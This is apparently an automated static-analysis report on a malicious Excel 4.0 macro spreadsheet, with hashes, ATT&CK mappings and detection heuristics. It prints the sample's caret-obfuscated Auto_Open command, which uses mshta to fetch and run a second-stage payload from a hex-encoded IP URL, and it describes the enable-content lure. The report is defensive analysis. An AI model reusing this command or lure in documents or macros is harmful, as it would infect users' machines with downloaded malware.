Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 fa4a8a57c4303a24…

MALICIOUS

Office (OLE) / .XLS

64.8 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 8146becdbbf36c8b62aa2f6485ec5192 SHA-1: 6085ab8456b024ebf230d21b10a9a94515200210 SHA-256: fa4a8a57c4303a24bdf1f7f84a555df56fe56addf24aef2067e568c3fc61ca88
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious Link/Object: Malicious File T1059.001 Command and Scripting Interpreter: PowerShell

The sample is an Excel 4.0 macro-enabled spreadsheet. It contains an Auto_Open macro that is configured to execute a command. The command reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html', which indicates it will download a second-stage payload from the specified URL. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', a common lure to bypass macro security. The reconstructed URL is 'http://0xc12a24f5/c.html'.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes